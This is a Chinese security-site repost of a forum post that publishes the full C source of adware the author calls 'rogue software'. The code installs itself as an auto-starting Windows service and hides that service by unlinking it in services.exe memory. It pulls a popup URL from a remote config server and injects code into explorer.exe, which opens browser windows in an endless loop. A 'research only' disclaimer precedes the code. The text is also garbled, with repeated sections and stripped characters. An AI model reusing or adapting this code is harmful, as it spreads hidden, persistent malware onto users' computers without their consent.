弹窗口的流氓软件核心代码
网络安全 2021-07-03 09:19www.168986.cn网络安全知识
ps:请勿用于非法用途,仅供技术研究之用。
byyunshu
这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
这个是主函数,安装,读取配置,注入代码用的。
代码:
/
1. 给XX作的流氓软件
2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
/
#include <stdio.h>
#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>
#include <Tlhelp32.h>
// 是否记录日志
//#define DEBUG
#ifdef DEBUG
#define DEBUG_LOG "c:\debug.txt"
// 日志记录函数
void LogToFile( WCHAR );
#endif
#include "ControlService.h"
#include "HideService.h"
#include "CustomFunction.h"
#pragma ment (lib, "Advapi32.lib")
#pragma ment (lib, "Shell32.lib")
#pragma ment (lib, "ws2_32.lib")
#pragma ment (lib, "User32.lib")
#define REMOTE_FUNC_LENGTH 1024 10 // 拷贝的长度
#define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
#define CONFIG_HOST ".icylife." // 读取配置信息的服务器
#define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
#define IE_PATH "C:\Program Files\Inter Explorer\iexplore.exe"
#define DEFAULT_URL "http://.he100." // 默认弹出的窗口
#define DEFAULT_SLEEP_TIME 30 60 1000 // 默认弹出窗口的间隔时间
// 宏,转换字符串为unicode
#define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
// 弹出窗口之间的间隔时间
int sleep_time;
// 弹出的url地址
char url_path[512] = { 0 };
/
函数原形
/
void ServiceMain( DWORD, char ); //服务入口
BOOL SetDebugPrivilege( ); //获取debug权限
DWORD GetProcessIdByName(WCHAR ); //获取进程的PID
void InjectCode( ); //写代码到远程进程
void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
/
程序入口,主函数
/
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径
SERVICE_TABLE_ENTRY serviceTable[2];
serviceTable[0].lpServiceName = SERVICE_NAME;
serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;
serviceTable[1].lpServiceName = NULL;
serviceTable[1].lpServiceProc = NULL;
GetModuleFileName( NULL, filePath, MAX_PATH );
// 如果服务未安装,安装
if( !ServiceExists( filePath ) )
{
if( ServiceInstall( filePath ) != TRUE )
{
return -1;
}
else
{
return 0;
}
}
if( !StartServiceCtrlDispatcher( serviceTable ) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
return -1;
}
return 0;
}
/
服务入口
/
void ServiceMain( DWORD argc, char argv[] )
{
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAepted = SERVICE_ACCEPT_STOP;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
#ifdef DEBUG
LogToFile( L"ServiceMain: Try to register service\n" );
#endif
hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
return;
}
serviceStatus.dwCurrentState = SERVICE_RUNNING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
return;
}
#ifdef DEBUG
LogToFile( L"ServiceMain: Start service ok\n" );
#endif
// 隐藏服务
HideService( SERVICE_NAME );
// 从网络读取配置
GetConfig( );
// 注入代码
InjectCode( );
serviceStatus.dwCurrentState = SERVICE_STOPPED;
if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"ServiceMain: S service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
}
#ifdef DEBUG
LogToFile( L"S service in main.\n" );
#endif
#ifdef DEBUG
LogToFile( L"ServiceMain Done.\n" );
#endif
return;
}
void InjectCode( )
{
if( ! SetDebugPrivilege() )
{
#ifdef DEBUG
LogToFile( L"Set Debug Privileges error.\n" );
#endif
return;
}
DWORD dwPID = -1;
while( 1 )
{
dwPID = GetProcessIdByName( TARGET_PROCESS );
if( -1 != dwPID )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"Target process id is %d\n", dwPID );
LogToFile( tmp );
#endif
break;
}
#ifdef DEBUG
LogToFile( L"Target process not found, sleep and continue.\n" );
#endif
Sleep( 30 1000 );
}
Sleep( 2 60 1000 );
// 打开进程
HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
if( ! hProcess )
{
#ifdef DEBUG
LogToFile( L"OpenProcess error.\n" );
#endif
return;
}
//计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
Arguments arguments;
memset( (void )&arguments, 0, sizeof(Arguments) );
HMODULE hKernel = GetModuleHandleA( "kernel32" );
if( hKernel == NULL )
{
#ifdef DEBUG
LogToFile( L"GetModuleHandle kernel32.dll error.\n" );
#endif
return;
}
arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );
arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );
strcpy( arguments.MyKernelDll, "kernel32.dll" );
strcpy( arguments.MyProgram, IE_PATH );
strcpy( arguments.MyShellDll, "Shell32.dll" );
strcpy( arguments.MyShellExecute, "ShellExecuteA" );
strcpy( arguments.MyUrl, url_path );
strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );
arguments.SleepTime = sleep_time;
// 在远程进程中分配内存存放参数,可写权限
Arguments remote_agrument = (Arguments )VirtualAllocEx( hProcess,
0,
sizeof(Arguments),
MEM_COMMIT,
PAGE_READWRITE );
if( !remote_agrument )
{
#ifdef DEBUG
LogToFile( L"VirtualAllocEx for arguments error.\n" );
#endif
return;
}
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );
LogToFile( tmp );
#endif
// 将参数写入远程进程内存
int bytes_write;
if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T )&bytes_write) )
{
#ifdef DEBUG
LogToFile( L"WriteProcessMemory for arguments error.\n" );
#endif
return;
}
// 在远程进程中分配内存存放代码,可执行权限
LPVOID remote_func = VirtualAllocEx( hProcess,
0,
REMOTE_FUNC_LENGTH,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE );
if( !remote_func )
{
#ifdef DEBUG
LogToFile( L"VirtualAllocEx for function error.\n" );
#endif
return;
}
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Remote Function Address: 0x%08x\n", remote_func );
LogToFile( tmp );
#endif
// 将代码写入远程进程内存
if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T )&bytes_write) )
{
#ifdef DEBUG
LogToFile( L"WriteProcessMemory for function error.\n" );
#endif
return;
}
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"WriteProcessMemory for function %d bytes\n", bytes_write );
LogToFile( tmp );
#endif
HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
if ( !remote_thread )
{
#ifdef DEBUG
LogToFile( L"CreateRemoteThread for function error.\n" );
#endif
return;
}
#ifdef DEBUG
LogToFile( L"CreateRemoteThread for function ok\n" );
#endif
/
WaitForSingleObject( remote_thread, INFINITE );
if( NULL != remote_func )
{
VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
#ifdef DEBUG
LogToFile( L"VirtualFreeEx for remote_func.\n" );
#endif
}
if( NULL != remote_agrument )
{
VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);
#ifdef DEBUG
LogToFile( L"VirtualFreeEx for remote_agrument.\n" );
#endif
}
if( NULL != remote_thread )
{
CloseHandle( remote_thread );
#ifdef DEBUG
LogToFile( L"CloseHandle for remote_thread.\n" );
#endif
}
if( NULL != hProcess )
{
CloseHandle( hProcess );
#ifdef DEBUG
LogToFile( L"CloseHandle for hProcess.\n" );
#endif
}
/
return;
}
void GetConfig( )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
#endif
WSAData wsa;
struct sockaddr_in sin;
memset( &sin, 0, sizeof(struct sockaddr_in) );
if( WSAStartup( 0x0202, &wsa ) != 0 )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"WSAStartup error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
goto getconfig_error;
}
struct hostent phost = gethostbyname( CONFIG_HOST );
if( phost == NULL )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Resolv config host name error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
WSACleanup( );
goto getconfig_error;
}
memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
sin.sin_family = AF_INET;
sin.sin_port = htons( 80 );
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
WCHAR ip[256] = { 0 };
MULTI_TO_WIDE( ip, i_ntoa( sin.sin_addr ));
wsprintf( tmp, L"Resolv config host name ok: %s\n",ip );
LogToFile( tmp );
#endif
SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );
if( sock == INVALID_SOCKET )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Connect to %s:%s error: \n", ip, 80, GetLastError() );
LogToFile( tmp );
#endif
WSACleanup( );
goto getconfig_error;
}
int ret = connect( sock, (struct sockaddr )&sin, sizeof(struct sockaddr_in) );
if( SOCKET_ERROR == ret )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Connect error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
closesocket( sock );
WSACleanup( );
goto getconfig_error;
}
char send_buff[512] = { 0 };
sprintf( send_buff, "GET %s HTTP/1.1\r\nHost: %s\r\nAept: /\r\n\r\n", CONFIG_PATH, CONFIG_HOST );
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
WCHAR tmp2[256] = { 0 };
MULTI_TO_WIDE( tmp2, send_buff );
wsprintf( tmp, L"Send request to get config:\n %s\n", tmp2 );
LogToFile( tmp );
#endif
ret = send( sock, send_buff, strlen(send_buff), 0 );
if( SOCKET_ERROR == ret )
{
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
wsprintf( tmp, L"Send request error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
closesocket( sock );
WSACleanup( );
goto getconfig_error;
}
#ifdef DEBUG
LogToFile( L"Send request ok!\n" );
#endif
char recv_buff[1024] = { 0 };
recv( sock, recv_buff, 1000, 0 );
if( !recv_buff )
{
closesocket( sock );
WSACleanup( );
goto getconfig_error;
}
closesocket( sock );
WSACleanup( );
char content = strstr( recv_buff, "\r\n\r\n" );
if( !content )
{
goto getconfig_error;
}
content += strlen("\r\n\r\n");
#ifdef DEBUG
memset( tmp, 0, sizeof(tmp) );
WCHAR c[256] = { 0 };
MULTI_TO_WIDE( c, content );
wsprintf( tmp, L"Config content is:\n%s\n", c );
LogToFile( tmp );
#endif
char split_flag = strstr( content, "|" );
if( !split_flag )
{
goto getconfig_error;
}
char tmp_time[32] = { 0 };
char tmp_url[512] = { 0 };
if( split_flag - content > 32 )
{
sleep_time = DEFAULT_SLEEP_TIME;
}
else
{
strncpy( tmp_time, content, split_flag - content );
sleep_time = atoi( tmp_time );
}
if( strlen( split_flag ) >= 512 )
{
strcpy( url_path, DEFAULT_URL );
}
else
{
strcpy( url_path, split_flag + 1 );
}
return;
getconfig_error:
sleep_time = DEFAULT_SLEEP_TIME;
strcpy( url_path, DEFAULT_URL );
return;
}
/
记录日志函数
/
#ifdef DEBUG
void LogToFile( WCHAR str )
{
FILE fp;
fp = fopen( DEBUG_LOG, "a" );
fwprintf( fp, L"%s\n", str );
fclose( fp );
}
#endif
这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。
代码:
// yunshu(pst) Copy from zzzevazzz(pst)'s code
// 几个Undocument的结构
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, PSC_SERVICE_RECORD;
typedef struct _SC_SERVICE_PROCESS
{
PSC_SERVICE_PROCESS Previous;
PSC_SERVICE_PROCESS Next;
WCHAR ImagePath;
DWORD Pid;
DWORD NumberOfServices;
// ...
} SC_SERVICE_PROCESS, PSC_SERVICE_PROCESS;
typedef struct _SC_DEPEND_SERVICE
{
PSC_DEPEND_SERVICE Next;
DWORD Unknow;
PSC_SERVICE_RECORD Service;
// ...
} SC_DEPEND_SERVICE, PSC_DEPEND_SERVICE;
typedef struct _SC_SERVICE_RECORD
{
PSC_SERVICE_RECORD Previous;
PSC_SERVICE_RECORD Next;
WCHAR ServiceName;
WCHAR DisplayName;
DWORD Index;
DWORD Unknow0;
DWORD sErv;
DWORD ControlCount;
DWORD Unknow1;
PSC_SERVICE_PROCESS Process;
SERVICE_STATUS Status;
DWORD StartType;
DWORD ErrorControl;
DWORD TagId;
PSC_DEPEND_SERVICE DependOn;
PSC_DEPEND_SERVICE Depended;
// ...
} SC_SERVICE_RECORD, PSC_SERVICE_RECORD;
BOOL SetDebugPrivilege()
{
BOOL bRet = FALSE;
HANDLE hToken = NULL;
LUID luid;
TOKEN_PRIVILEGES tp;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
if (hToken) CloseHandle(hToken);
return bRet;
}
DWORD GetProcessIdByName(WCHAR Name)
{
BOOL bRet = FALSE;
HANDLE hProcessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
DWORD Pid = -1;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32))
{
do
{
if ( !_wcsicmp(pe32.szExeFile, Name ) )
{
Pid = pe32.th32ProcessID;
break;
}
}
while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
return Pid;
}
// 修改内存属性为指定值
void ProtectWriteDword(HANDLE hProcess, DWORD Addr, DWORD Value)
{
MEMORY_BASIC_INFORMATION mbi;
DWORD dwOldProtect, dwWritten;
VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
}
//寻找服务链表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
WCHAR FileName[MAX_PATH+1];
HANDLE hFile, hFileMap;
UCHAR pMap;
DWORD dwSize, dwSizeHigh, i, dwRead;
SC_SERVICE_RECORD SvcRd, pSvcRd, pRet = NULL;
GetSystemDirectory( FileName, MAX_PATH );
wcscat( FileName, L"\Services.exe");
hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (INVALID_HANDLE_VALUE == hFile) return NULL;
dwSizeHigh = 0;
dwSize = GetFileSize(hFile, &dwSizeHigh);
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (NULL == hFileMap) return NULL;
pMap = (UCHAR)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
if (NULL == pMap) return NULL;
dwSize -= 12;
for (i=0; i<dwSize; ++i)
{
// 搜索services!ScGetServiceDatabase特征代码
if ((DWORD)(pMap+i) == 0xa1909090 &&
(DWORD)(pMap+i+8) == 0x909090c3)
{
#ifdef DEBUG
WCHAR tmpBuffer[256] = { 0 };
wsprintf( tmpBuffer, L"map is 0x%08x\n", (DWORD )(pMap+i) );
LogToFile( tmpBuffer );
#endif
if (ReadProcessMemory(hProcess, (PVOID)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征
{
pRet = pSvcRd;
#ifdef DEBUG
WCHAR tmpBuffer[256] = { 0 };
wsprintf( tmpBuffer, L"pRet is 0x%08x\n", (DWORD )(pSvcRd) );
LogToFile( tmpBuffer );
#endif
break;
}
}
}
UnmapViewOfFile(pMap);
CloseHandle(hFileMap);
CloseHandle(hFile);
//printf( "addr: 0x%08x\n", (DWORD )pRet );
return pRet;
}
// 隐藏服务
BOOL HideService( WCHAR Name )
{
DWORD Pid;
HANDLE hProcess;
SC_SERVICE_RECORD SvcRd, pSvcRd;
DWORD dwRead, dwNameSize;
WCHAR SvcName[MAX_PATH] = { 0 };
dwNameSize = ( wcslen(Name) + 1 ) sizeof(WCHAR);
if (dwNameSize > sizeof(SvcName)) return FALSE;
Pid = GetProcessIdByName( TEXT("Services.exe") );
#ifdef DEBUG
WCHAR tmpBuffer1[256] = { 0 };
wsprintf( tmpBuffer1, L"Pid is %d\n", Pid );
LogToFile( tmpBuffer1 );
#endif
if (Pid == -1) return FALSE;
if( ! SetDebugPrivilege() ) return FALSE;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (NULL == hProcess) return FALSE;
pSvcRd = FindFirstServiceRecord(hProcess);
if (NULL == pSvcRd)
{
#ifdef DEBUG
LogToFile( L"Can't Find ServiceDatabase.\n" );
#endif
CloseHandle(hProcess);
return FALSE;
}
do
{
if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
{
// 匹配服务名
if ( 0 == _wcsicmp(SvcName, Name) )
{
// 从链表中断开(ServiceRecord是可写的,但还是先改保护属性以防万一)
ProtectWriteDword(hProcess, (DWORD )SvcRd.Previous+1, (DWORD)SvcRd.Next);
ProtectWriteDword(hProcess, (DWORD )SvcRd.Next, (DWORD)SvcRd.Previous);
#ifdef DEBUG
WCHAR tmpBuffer2[256] = { 0 };
wsprintf( tmpBuffer2, L"The Service \"%s\" Is Hidden Suessfully.\n", Name );
LogToFile( tmpBuffer1 );
#endif
CloseHandle(hProcess);
return TRUE;
}
}
else
{
break;
}
}
while (pSvcRd = SvcRd.Next);
if( NULL != hProcess )
{
CloseHandle(hProcess);
}
return FALSE;
}
这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。
typedef struct _Arguments
{
char MyUrl[512];
char MyProgram[512];
FARPROC MyLoadLibrary;
FARPROC MyGetAddress;
char MyKernelDll[32];
char MyShellDll[32];
char MyZeroMemory[32];
char MyShellExecute[32];
DWORD SleepTime;
}Arguments;
/
WINAPI函数原形
/
typedef HMODULE (__stdcall LOADLIBRARYA)( IN char lpFileName );
typedef FARPROC (__stdcall GETPROCADDRESS)( IN HMODULE hModule, IN char lpProcName );
typedef void (__stdcall ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );
void __stdcall CustomFunction( LPVOID my_arguments )
{
Arguments func_args = (Arguments )my_arguments;
LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );
ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
DWORD MySleep;
DWORD sleep_time = func_args->SleepTime;
__asm
{
push eax
push esp
sub esp, 6
mov byte ptr [esp], 'S'
mov byte ptr [esp+1], 'l'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'e'
mov byte ptr [esp+4], 'p'
mov byte ptr [esp+5], ''
lea eax, [esp]
push eax
push h_kernel
call GetProcAddress
mov MySleep, eax
add esp, 6
pop esp
pop eax
}
while( 1 )
{
__asm
{
push eax
push esp
push ecx
push ebx
sub esp, 256
mov byte ptr [esp], 'o'
mov byte ptr [esp+1], 'p'
mov byte ptr [esp+2], 'e'
mov byte ptr [esp+3], 'n'
mov byte ptr [esp+4], ''
lea ebx, [esp]
push SW_SHOWMAXIMIZED
push 0
push func_args
mov ecx, func_args
add ecx, 200h
lea eax, [ecx]
push eax
push ebx
push 0
call MyShellExecuteA
add esp, 256
pop ebx
pop ecx
pop esp
pop eax
push sleep_time
call MySleep
}
}
}
这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。
代码:
/
全局变量
/
#define SERVICE_NAME L"LemonTree"
#define SERVICE_DESCRIPTION L"LemonTree"
#define SERVICE_DISPLAY_NAME L"LemonTree"
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatus;
BOOL ServiceInstall( WCHAR ); //安装服务
BOOL ServiceUnstall( WCHAR ); //删除服务
void ServiceControl( DWORD ); //控制服务
BOOL ServiceExists( WCHAR ); //判断服务是否存在
/
安装服务
参数主程序全路径
返回成功返回TRUE,否则为FALSE
/
BOOL ServiceInstall( WCHAR exeFilePath )
{
WCHAR tmpPath[MAX_PATH] = { 0 };
HKEY key;
SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
if ( serviceMangerHandle == 0 )
{
printf( "Install: Open services manager database error: %d\n", GetLastError() );
return FALSE;
}
SC_HANDLE serviceHandle = CreateService
(
serviceMangerHandle ,
SERVICE_NAME ,
SERVICE_DISPLAY_NAME ,
SERVICE_ALL_ACCESS ,
SERVICE_WIN32_OWN_PROCESS ,
SERVICE_AUTO_START ,
SERVICE_ERROR_NORMAL ,
exeFilePath ,
NULL ,
NULL ,
NULL ,
NULL ,
NULL
);
if ( serviceHandle == 0 )
{
printf( "Create service error: %d\n", GetLastError() );
CloseServiceHandle( serviceMangerHandle );
return FALSE;
}
wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
wcscat( tmpPath, SERVICE_NAME );
if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
{
printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
return FALSE;
}
RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE )SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
RegCloseKey(key);
if( !StartService( serviceHandle, 0, 0 ) )
{
printf( "Install service ok, but start it error: %d\n", GetLastError() );
}
else
{
printf( "Install service ok, start it ok.\n" );
}
CloseServiceHandle( serviceHandle );
CloseServiceHandle( serviceMangerHandle );
return TRUE;
}
/
删除服务
/
BOOL ServiceUnstall( WCHAR serviceName )
{
SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
if ( scmHandle == NULL )
{
return FALSE;
}
SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
if( scHandle == NULL )
{
CloseServiceHandle( scmHandle );
return FALSE;
}
DeleteService( scHandle );
CloseServiceHandle( scHandle );
CloseServiceHandle( scmHandle );
return TRUE;
}
/
服务控制函数
/
void ServiceControl( DWORD request )
{
#ifdef DEBUG
LogToFile( L"ServiceControl: Into ServiceControl\n" );
#endif
switch ( request )
{
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
#ifdef DEBUG
LogToFile( L"ServiceControl: Try to s service\n" );
#endif
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
#ifdef DEBUG
LogToFile( L"ServiceControl: Error arguments\n" );
#endif
break;
}
if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
{
#ifdef DEBUG
WCHAR tmp[256] = { 0 };
wsprintf( tmp, L"ServiceMain: Control service error: %d\n", GetLastError() );
LogToFile( tmp );
#endif
}
return;
}
BOOL ServiceExists( WCHAR path )
{
WCHAR tmpPath[MAX_PATH] = { 0 };
HKEY key;
WCHAR value[512] = { 0 };
int type = REG_EXPAND_SZ;
int size = sizeof(value);
wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
wcscat( tmpPath, SERVICE_NAME );
if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
{
//printf( "RegOpenKeyEx Error: %d\n", GetLastError() );
return FALSE;
}
if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD )&type, (BYTE )value, (DWORD )&size ) != ERROR_SUCCESS )
{
//printf( "RegQueryValueEx Error: %d\n", GetLastError() );
return FALSE;
}
if( key ) RegCloseKey( key );
// 如果服务的程序路径等于后门本身,表示已经安装
if( 0 == _wcsicmp( value, path ) )
{
return TRUE;
}
return FALSE;
}
byyunshu
这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
这个是主函数,安装,读取配置,注入代码用的。
代码:
/
1. 给XX作的流氓软件
2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
/
#include <stdio.h>
#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>
#include <Tlhelp32.h>
// 是否记录日志
//#define DEBUG
#ifdef DEBUG
#define DEBUG_LOG "c:\debug.txt"
// 日志记录函数
void LogToFile( WCHAR );
#endif
#include "ControlService.h"
#include "HideService.h"
#include "CustomFunction.h"
#pragma ment (lib, "Advapi32.lib")
#pragma ment (lib, "Shell32.lib")
#pragma ment (lib, "ws2_32.lib")
#pragma ment (lib, "User32.lib")
#define REMOTE_FUNC_LENGTH 1024 10 // 拷贝的长度
#define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
#define CONFIG_HOST ".icylife." // 读取配置信息的服务器
#define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
#define IE_PATH "C:\Program Files\Inter Explorer\iexplore.exe"
#define DEFAULT_URL "http://.he100." // 默认弹出的窗口
#define DEFAULT_SLEEP_TIME 30 60 1000 // 默认弹出窗口的间隔时间
// 宏,转换字符串为unicode
#define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
// 弹出窗口之间的间隔时间
int sleep_time;
// 弹出的url地址
char url_path[512] = { 0 };
/
函数原形
/
void ServiceMain( DWORD, char ); //服务入口
BOOL SetDebugPrivilege( ); //获取debug权限
DWORD GetProcessIdByName(WCHAR ); //获取进程的PID
void InjectCode( ); //写代码到远程进程
void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
/
程序入口,主函数
/
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径
SERVICE_TABLE_ENTRY serviceTable[2];
serviceTable[0].lpServiceName = SERVICE_NAME;
serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;
serviceTable[1].lpServiceName = NULL;
serviceTable[1].lpServiceProc = NULL;
